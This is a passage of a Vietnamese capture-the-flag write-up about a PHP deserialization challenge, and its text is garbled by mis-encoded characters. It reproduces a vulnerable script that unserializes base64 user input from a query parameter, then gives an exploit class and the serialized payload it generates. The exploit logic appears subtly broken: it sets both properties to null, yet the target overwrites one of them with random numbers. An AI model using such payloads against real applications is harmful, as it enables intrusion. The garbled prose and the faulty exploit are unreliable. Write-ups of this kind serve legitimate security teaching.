TΓ³m lαΊ‘i khi nΓ y chΓΊng ta nhαΊn ra ΔΓ’y lΓ PHP Deserialization khi ΔΓ³ chΓΊng ta cΓ³ thα» control cαΊ£ class Object trΓͺn bαΊ±ng cΓ‘ch ghi ΔΓ¨ nΓ³ Δα» hai thuα»c tΓch jackpot vΓ enter bαΊ±ng nhau.
Exploit
Γ tΖ°α»ng bΓ’y giα» chΓΊng ta sαΊ½ xΓ’y dα»±ng lαΊ‘i class Object giα»ng nhΖ° trΓͺn vΓ khα»i tαΊ‘o hΓ m __constructor cho hai thuα»c tΓnh bαΊ±ng nhau.
<?php
class Object
{
var $jackpot;
var $enter;
}
?>
<?php
include('secret.php');
if(isset($_GET['input']))
{
$obj = unserialize(base64_decode($_GET['input']));
if($obj)
{
$obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
if($obj->enter === $obj->jackpot)
{
echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";
}
else
{
echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
}
}
else
{
echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
}
}
else
{
echo "";
}
?>
<?php
class Exploit
{
var $jackpot;
var $enter;
public function __construct()
{
$this->jackpot=$this->enter;
}
}
$code = new Exploit();
echo base64_encode(serialize($code));
//Tzo3OiJFeHBsb2l0IjoyOntzOjc6ImphY2twb3QiO047czo1OiJlbnRlciI7Tjt9